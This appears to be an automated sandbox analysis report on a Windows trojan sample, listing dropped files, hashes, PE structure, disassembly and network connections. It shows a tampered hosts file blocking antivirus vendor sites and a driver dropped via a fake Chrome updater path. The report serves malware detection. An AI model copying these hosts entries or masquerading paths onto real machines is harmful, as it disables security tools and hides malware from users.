                                                                      Size (bytes):60
                                                                      Entropy (8bit):4.038920595031593
                                                                      Encrypted:false
                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                      Malicious:false
                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwunltw0.udc.ps1

                                                                      Download File
                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      File Type:ASCII text, with no line terminators
                                                                      Category:dropped
                                                                      Size (bytes):60
                                                                      Entropy (8bit):4.038920595031593
                                                                      Encrypted:false
                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                      Malicious:false
                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vm0iewqp.uee.psm1

                                                                      Download File
                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      File Type:ASCII text, with no line terminators
                                                                      Category:dropped
                                                                      Size (bytes):60
                                                                      Entropy (8bit):4.038920595031593
                                                                      Encrypted:false
                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                      Malicious:false
                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wwzmnsne.emf.ps1

                                                                      Download File
                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      File Type:ASCII text, with no line terminators
                                                                      Category:dropped
                                                                      Size (bytes):60
                                                                      Entropy (8bit):4.038920595031593
                                                                      Encrypted:false
                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                      Malicious:false
                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                      C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                      Download File
                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      File Type:data
                                                                      Category:dropped
                                                                      Size (bytes):64
                                                                      Entropy (8bit):0.34726597513537405
                                                                      Encrypted:false
                                                                      SSDEEP:3:Nlll:Nll
                                                                      MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                                      SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                                      SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                                      SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                                      Malicious:false
                                                                      Preview:@...e...........................................................

                                                                      C:\Windows\System32\drivers\etc\hosts

                                                                      Download File
                                                                      Process:C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe
                                                                      File Type:ASCII text, with CRLF line terminators
                                                                      Category:dropped
                                                                      Size (bytes):2748
                                                                      Entropy (8bit):4.269302338623222
                                                                      Encrypted:false
                                                                      SSDEEP:48:vDZhyoZWM9rU5fFcDL6iCW1RiJ9rn5w0K:vDZEurK9XiCW1RiXn54
                                                                      MD5:7B1D6A1E1228728A16B66C3714AA9A23
                                                                      SHA1:8B59677A3560777593B1FA7D67465BBD7B3BC548
                                                                      SHA-256:3F15965D0159A818849134B3FBB016E858AC50EFDF67BFCD762606AC51831BC5
                                                                      SHA-512:573B68C9865416EA2F9CF5C614FCEDBFE69C67BD572BACEC81C1756E711BD90FCFEE93E17B74FB294756ADF67AD18845A56C87F7F870940CBAEB3A579146A3B6
                                                                      Malicious:true
                                                                      Preview:# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 avast.com..0.0.0.0 www.avast.com..0.0.0.0 totalav.com..0.0.0.0 www.totalav.com..0.0.0.0 scanguard.com..0.0.0.0 www.scanguard.com..

                                                                      C:\Windows\Temp\__PSScriptPolicyTest_00cy0hkb.aka.ps1

                                                                      Download File
                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      File Type:ASCII text, with no line terminators
                                                                      Category:dropped
                                                                      Size (bytes):60
                                                                      Entropy (8bit):4.038920595031593
                                                                      Encrypted:false
                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                      Malicious:false
                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                      C:\Windows\Temp\__PSScriptPolicyTest_d0431uio.kok.psm1

                                                                      Download File
                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      File Type:ASCII text, with no line terminators
                                                                      Category:dropped
                                                                      Size (bytes):60
                                                                      Entropy (8bit):4.038920595031593
                                                                      Encrypted:false
                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                      Malicious:false
                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                      C:\Windows\Temp\__PSScriptPolicyTest_qxgkd3p5.vd1.psm1

                                                                      Download File
                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      File Type:ASCII text, with no line terminators
                                                                      Category:dropped
                                                                      Size (bytes):60
                                                                      Entropy (8bit):4.038920595031593
                                                                      Encrypted:false
                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                      Malicious:false
                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                      C:\Windows\Temp\__PSScriptPolicyTest_ripwaavn.dne.ps1

                                                                      Download File
                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      File Type:ASCII text, with no line terminators
                                                                      Category:dropped
                                                                      Size (bytes):60
                                                                      Entropy (8bit):4.038920595031593
                                                                      Encrypted:false
                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                      Malicious:false
                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                      C:\Windows\Temp\pjjtwoljkwri.sys

                                                                      Download File
                                                                      Process:C:\ProgramData\GoogleUP\Chrome\Updater.exe
                                                                      File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                      Category:dropped
                                                                      Size (bytes):14544
                                                                      Entropy (8bit):6.2660301556221185
                                                                      Encrypted:false
                                                                      SSDEEP:192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
                                                                      MD5:0C0195C48B6B8582FA6F6373032118DA
                                                                      SHA1:D25340AE8E92A6D29F599FEF426A2BC1B5217299
                                                                      SHA-256:11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
                                                                      SHA-512:AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
                                                                      Malicious:true
                                                                      Antivirus:
                                                                      • Antivirus: ReversingLabs, Detection: 5%
                                                                      Joe Sandbox View:
                                                                      • Filename: Yf4yviDxwF.exe, Detection: malicious, Browse
                                                                      • Filename: file.exe, Detection: malicious, Browse
                                                                      • Filename: SecuriteInfo.com.Trojan.Siggen29.47910.18846.10721.exe, Detection: malicious, Browse
                                                                      • Filename: prog.exe, Detection: malicious, Browse
                                                                      • Filename: T52Z708x2p.exe, Detection: malicious, Browse
                                                                      • Filename: lJ4EzPSKMj.exe, Detection: malicious, Browse
                                                                      • Filename: Us051y7j25.exe, Detection: malicious, Browse
                                                                      • Filename: bypass.exe, Detection: malicious, Browse
                                                                      • Filename: MDE_File_Sample_7046d0b264f80a016ec10158377c7e76c395cffb.zip, Detection: malicious, Browse
                                                                      • Filename: Q3Vq6yp33F.exe, Detection: malicious, Browse
                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

                                                                      Static File Info

                                                                      General

                                                                      File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                      Entropy (8bit):7.948453468363114
                                                                      TrID:
                                                                      • Win64 Executable GUI (202006/5) 92.65%
                                                                      • Win64 Executable (generic) (12005/4) 5.51%
                                                                      • Generic Win/DOS Executable (2004/3) 0.92%
                                                                      • DOS Executable Generic (2002/1) 0.92%
                                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                      File name:SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe
                                                                      File size:6'031'872 bytes
                                                                      MD5:c441be4f7fd0f07fdcf94657c624c3da
                                                                      SHA1:bedd1f5d2feb959599b370590f62f02cbb3d2d3f
                                                                      SHA256:47c6484dde4d9ca23a7667b1b71c5ed88d7cdd3dccf57485333ceda0153e5684
                                                                      SHA512:c753bfa2b84ea5dfc47dbe25b807af6dd7d79e53a780ef693052f0c5c774767ef5b277671b07c539132af11a56546de3dd18790ce3fb3c4f66ca63c6c17fd8ad
                                                                      SSDEEP:98304:wKDlzK2disEKWIAN9rDUQ60m+E+3syUSIkJEhxfAF8p4ucxJixyWB5TU7NTJN1uy:waFbErIYeQ3nEIsyU2Y48CBh5TjY
                                                                      TLSH:375633487AC581F5C00CC7B4A573A43CB4787FD6E4998E0BB1DA7A326DF1058AE376A4
                                                                      File Content Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...Z{.f.........."......$....S................@......................................\...`........................................

                                                                      File Icon

                                                                      Icon Hash:2830203058487819

                                                                      Static PE Info

                                                                      General

                                                                      Entrypoint:0x140ad1495
                                                                      Entrypoint Section:.vmp
                                                                      Digitally signed:false
                                                                      Imagebase:0x140000000
                                                                      Subsystem:windows gui
                                                                      Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                      DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                      Time Stamp:0x66F17B5A [Mon Sep 23 14:29:46 2024 UTC]
                                                                      TLS Callbacks:0x40a36ce4, 0x1, 0x40001760, 0x1, 0x400017e0, 0x1
                                                                      CLR (.Net) Version:
                                                                      OS Version Major:6
                                                                      OS Version Minor:0
                                                                      File Version Major:6
                                                                      File Version Minor:0
                                                                      Subsystem Version Major:6
                                                                      Subsystem Version Minor:0
                                                                      Import Hash:4def7148f41037b3bc9c17dcf019fe56

                                                                      Entrypoint Preview

                                                                      Instruction
                                                                      call 00007F6F2C98C661h
                                                                      lds ecx, fword ptr [edi]
                                                                      mov dword ptr [D9076EFCh], eax
                                                                      pop es
                                                                      mov edi, FEB90FCFh
                                                                      jns 00007F6F2CE6D68Ch
                                                                      jo 00007F6F2CE6D641h
                                                                      loopne 00007F6F2CE6D5F5h
                                                                      mov bh, DEh
                                                                      adc byte ptr [ebp+4Fh], al
                                                                      xor byte ptr [ecx], 00000040h
                                                                      adc dword ptr [edi+66h], FFFFFFFAh
                                                                      loopne 00007F6F2CE6D637h
                                                                      iretd
                                                                      inc edx
                                                                      push ecx
                                                                      and byte ptr [ebx], bl
                                                                      pop edi
                                                                      push cs
                                                                      adc dh, byte ptr [eax]
                                                                      in eax, 9Fh
                                                                      xor bl, byte ptr [ecx+39F44BD8h]
                                                                      pop ecx
                                                                      loopne 00007F6F2CE6D5B1h
                                                                      jmp far B7E9h : CBA5BE52h
                                                                      add al, 53h
                                                                      ret
                                                                      sahf
                                                                      push esi
                                                                      jbe 00007F6F2CE6D636h
                                                                      shr al, cl
                                                                      push esp
                                                                      pop esp
                                                                      daa
                                                                      sub byte ptr [edx+5F54E845h], dh
                                                                      mov cl, BCh
                                                                      jmp far edx
                                                                      pop es
                                                                      js 00007F6F2CE6D5D7h
                                                                      push ebx
                                                                      jmp esp
                                                                      retf 6CC6h
                                                                      int3
                                                                      shl byte ptr [ebx+54E89167h], 0000005Fh
                                                                      add al, 22h
                                                                      dec ebp
                                                                      cmp ebp, FFFFFFC5h
                                                                      push ebx

                                                                      Data Directories

                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0xa094980x50.vmp
                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0xb3d0000x3bf2c.rsrc
                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0xb3a5d00x324.vmp
                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0xb3b0000x1554.reloc
                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_TLS0xa13c080x28.vmp
                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xb3a4900x138.vmp
                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x5b40000x58.vmp
                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                      Sections

                                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                      .text0x10000x122b60x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                      .rdata0x140000x321c0x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                      .data0x180000x4fe3480x0d41d8cd98f00b204e9800998ecf8427eunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                      .pdata0x5170000x1980x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                      .00cfg0x5180000x100x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                      .tls0x5190000x100x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                      .vmp0x51a0000x9912b0x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                      .vmp0x5b40000x4e80x600d0d88a2ea53e43fa52a427961e0fb3b2False0.036458333333333336data0.18515094771187104IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                      .vmp0x5b50000x5858f40x585a00318a16d0de3094f38f2c54d97d4fc148unknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                      .reloc0xb3b0000x15540x160034ba70947daba9185b6754ebb04accd6False0.19122869318181818data5.424451497220812IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                      .rsrc0xb3d0000x3bf2c0x39000d966f51f14f7096e0aa35ca95576b234False0.5369980126096491data5.841488603454305IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                      Resources

                                                                      NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                      RT_CURSOR0xb75e500x134data0.04220779220779221
                                                                      RT_CURSOR0xb75f880xb4data0.1
                                                                      RT_CURSOR0xb760400x134empty0
                                                                      RT_CURSOR0xb761780x134empty0
                                                                      RT_CURSOR0xb762b00x134empty0
                                                                      RT_CURSOR0xb763e80x134empty0
                                                                      RT_CURSOR0xb765200x134empty0
                                                                      RT_CURSOR0xb766580x134empty0
                                                                      RT_CURSOR0xb767900x134empty0
                                                                      RT_CURSOR0xb768c80x134empty0
                                                                      RT_CURSOR0xb76a000x134empty0
                                                                      RT_CURSOR0xb76b380x134empty0
                                                                      RT_CURSOR0xb76c700x134empty0
                                                                      RT_CURSOR0xb76da80x134empty0
                                                                      RT_CURSOR0xb76ee00x134empty0
                                                                      RT_CURSOR0xb770180x134empty0
                                                                      RT_BITMAP0xb771500x666empty0
                                                                      RT_ICON0xb3dd000x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 40960.6979362101313321
                                                                      RT_ICON0xb3eda80x4228Device independent bitmap graphic, 64 x 128 x 32, image size 163840.4716580066131318
                                                                      RT_ICON0xb42fd00x10828Device independent bitmap graphic, 128 x 256 x 32, image size 655360.3224151188927008
                                                                      RT_ICON0xb537f80x9bcbPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9981947195546975
                                                                      RT_ICON0xb5d3c80x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 40960.6468105065666041
                                                                      RT_ICON0xb5e4700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 92160.5803941908713693
                                                                      RT_ICON0xb60a180x4228Device independent bitmap graphic, 64 x 128 x 32, image size 163840.5516650921114785
                                                                      RT_ICON0xb64c400x10828Device independent bitmap graphic, 128 x 256 x 32, image size 655360.48822903111321425
                                                                      RT_DIALOG0xb777b80xb4empty0
                                                                      RT_DIALOG0xb778700x120empty0
                                                                      RT_DIALOG0xb779900x118empty0
                                                                      RT_DIALOG0xb77aa80x202empty0
                                                                      RT_DIALOG0xb77cb00xf8empty0
                                                                      RT_DIALOG0xb77da80xa0empty0
                                                                      RT_DIALOG0xb77e480xeeempty0
                                                                      RT_DIALOG0xb77f380xb4empty0
                                                                      RT_DIALOG0xb77ff00x120empty0
                                                                      RT_DIALOG0xb781100x118empty0
                                                                      RT_DIALOG0xb782280x202empty0
                                                                      RT_DIALOG0xb784300xf8empty0
                                                                      RT_DIALOG0xb785280xa0empty0
                                                                      RT_DIALOG0xb785c80xeeempty0
                                                                      RT_DIALOG0xb786b80xa0empty0
                                                                      RT_DIALOG0xb787580x10cempty0
                                                                      RT_DIALOG0xb788680x104empty0
                                                                      RT_DIALOG0xb789700x1eeempty0
                                                                      RT_DIALOG0xb78b600xe4empty0
                                                                      RT_DIALOG0xb78c480x8cempty0
                                                                      RT_DIALOG0xb78cd80xdaempty0
                                                                      RT_MESSAGETABLE0xb754680x74cMatlab v4 mat-file (little endian) T, text, rows 200, columns 225, imaginaryEnglishUnited States0.30085653104925053
                                                                      RT_GROUP_CURSOR0xb78db80x22empty0
                                                                      RT_GROUP_CURSOR0xb78de00x14empty0
                                                                      RT_GROUP_CURSOR0xb78df80x14empty0
                                                                      RT_GROUP_CURSOR0xb78e100x14empty0
                                                                      RT_GROUP_CURSOR0xb78e280x14empty0
                                                                      RT_GROUP_CURSOR0xb78e400x14empty0
                                                                      RT_GROUP_CURSOR0xb78e580x14empty0
                                                                      RT_GROUP_CURSOR0xb78e700x14empty0
                                                                      RT_GROUP_CURSOR0xb78e880x14empty0
                                                                      RT_GROUP_CURSOR0xb78ea00x14empty0
                                                                      RT_GROUP_CURSOR0xb78eb80x14empty0
                                                                      RT_GROUP_CURSOR0xb78ed00x14empty0
                                                                      RT_GROUP_CURSOR0xb78ee80x14empty0
                                                                      RT_GROUP_CURSOR0xb78f000x14empty0
                                                                      RT_GROUP_CURSOR0xb78f180x14empty0
                                                                      RT_GROUP_ICON0xb75bb80x3edata0.8225806451612904
                                                                      RT_GROUP_ICON0xb75bf80x3edata0.8709677419354839
                                                                      RT_MANIFEST0xb75c380x216ASCII text, with CRLF line terminators0.5411985018726592

                                                                      Imports

                                                                      DLLImport
                                                                      msvcrt.dll__C_specific_handler
                                                                      KERNEL32.dllDeleteCriticalSection
                                                                      KERNEL32.dllHeapAlloc, HeapFree, ExitProcess, GetModuleHandleA, LoadLibraryA, GetProcAddress

                                                                      Possible Origin

                                                                      Language of compilation systemCountry where language is spokenMap
                                                                      EnglishUnited States

                                                                      Network Behavior

                                                                      Network Port Distribution

                                                                      TCP Packets

                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      Oct 27, 2024 18:38:32.428008080 CET4978610343192.168.2.1054.37.137.114
                                                                      Oct 27, 2024 18:38:32.433506012 CET103434978654.37.137.114192.168.2.10
                                                                      Oct 27, 2024 18:38:32.433579922 CET4978610343192.168.2.1054.37.137.114
                                                                      Oct 27, 2024 18:38:32.433886051 CET4978610343192.168.2.1054.37.137.114
                                                                      Oct 27, 2024 18:38:32.439171076 CET103434978654.37.137.114192.168.2.10
                                                                      Oct 27, 2024 18:38:33.300201893 CET103434978654.37.137.114192.168.2.10
                                                                      Oct 27, 2024 18:38:33.300621986 CET103434978654.37.137.114192.168.2.10
                                                                      Oct 27, 2024 18:38:33.301445007 CET4978610343192.168.2.1054.37.137.114
                                                                      Oct 27, 2024 18:38:33.301445007 CET4978610343192.168.2.1054.37.137.114
                                                                      Oct 27, 2024 18:38:33.310288906 CET103434978654.37.137.114192.168.2.10
                                                                      Oct 27, 2024 18:38:33.654264927 CET103434978654.37.137.114192.168.2.10
                                                                      Oct 27, 2024 18:38:33.654278994 CET103434978654.37.137.114192.168.2.10
                                                                      Oct 27, 2024 18:38:33.654284000 CET103434978654.37.137.114192.168.2.10
                                                                      Oct 27, 2024 18:38:33.654660940 CET4978610343192.168.2.1054.37.137.114
                                                                      Oct 27, 2024 18:38:33.654783964 CET103434978654.37.137.114192.168.2.10
                                                                      Oct 27, 2024 18:38:33.657748938 CET49793443192.168.2.10104.20.4.235
                                                                      Oct 27, 2024 18:38:33.657788992 CET44349793104.20.4.235192.168.2.10
                                                                      Oct 27, 2024 18:38:33.657876015 CET49793443192.168.2.10104.20.4.235
                                                                      Oct 27, 2024 18:38:33.670241117 CET49793443192.168.2.10104.20.4.235
                                                                      Oct 27, 2024 18:38:33.670264959 CET44349793104.20.4.235192.168.2.10
                                                                      Oct 27, 2024 18:38:33.707640886 CET4978610343192.168.2.1054.37.137.114
                                                                      Oct 27, 2024 18:38:34.289285898 CET44349793104.20.4.235192.168.2.10
                                                                      Oct 27, 2024 18:38:34.290539026 CET49793443192.168.2.10104.20.4.235
                                                                      Oct 27, 2024 18:38:34.290574074 CET44349793104.20.4.235192.168.2.10
                                                                      Oct 27, 2024 18:38:34.291970968 CET44349793104.20.4.235192.168.2.10
                                                                      Oct 27, 2024 18:38:34.292047977 CET49793443192.168.2.10104.20.4.235
                                                                      Oct 27, 2024 18:38:34.293878078 CET49793443192.168.2.10104.20.4.235
                                                                      Oct 27, 2024 18:38:34.293947935 CET44349793104.20.4.235192.168.2.10
                                                                      Oct 27, 2024 18:38:34.294015884 CET49793443192.168.2.10104.20.4.235
                                                                      Oct 27, 2024 18:38:34.294023037 CET44349793104.20.4.235192.168.2.10
                                                                      Oct 27, 2024 18:38:34.348140955 CET49793443192.168.2.10104.20.4.235
                                                                      Oct 27, 2024 18:38:34.928608894 CET44349793104.20.4.235192.168.2.10
                                                                      Oct 27, 2024 18:38:34.928877115 CET44349793104.20.4.235192.168.2.10
                                                                      Oct 27, 2024 18:38:34.928934097 CET49793443192.168.2.10104.20.4.235
                                                                      Oct 27, 2024 18:38:34.942436934 CET49793443192.168.2.10104.20.4.235
                                                                      Oct 27, 2024 18:38:34.942464113 CET44349793104.20.4.235192.168.2.10
                                                                      Oct 27, 2024 18:38:34.943783998 CET4978610343192.168.2.1054.37.137.114
                                                                      Oct 27, 2024 18:38:34.943820953 CET4978610343192.168.2.1054.37.137.114
                                                                      Oct 27, 2024 18:38:34.944581032 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:38:34.950071096 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:38:34.950141907 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:38:34.997967005 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:38:35.003812075 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:38:35.782599926 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:38:35.782728910 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:38:35.782881021 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:38:35.791054964 CET4980410343192.168.2.1051.89.23.91
                                                                      Oct 27, 2024 18:38:35.796680927 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:38:36.032531023 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:38:36.032548904 CET103434980451.89.23.91192.168.2.10
                                                                      Oct 27, 2024 18:38:36.032715082 CET4980410343192.168.2.1051.89.23.91
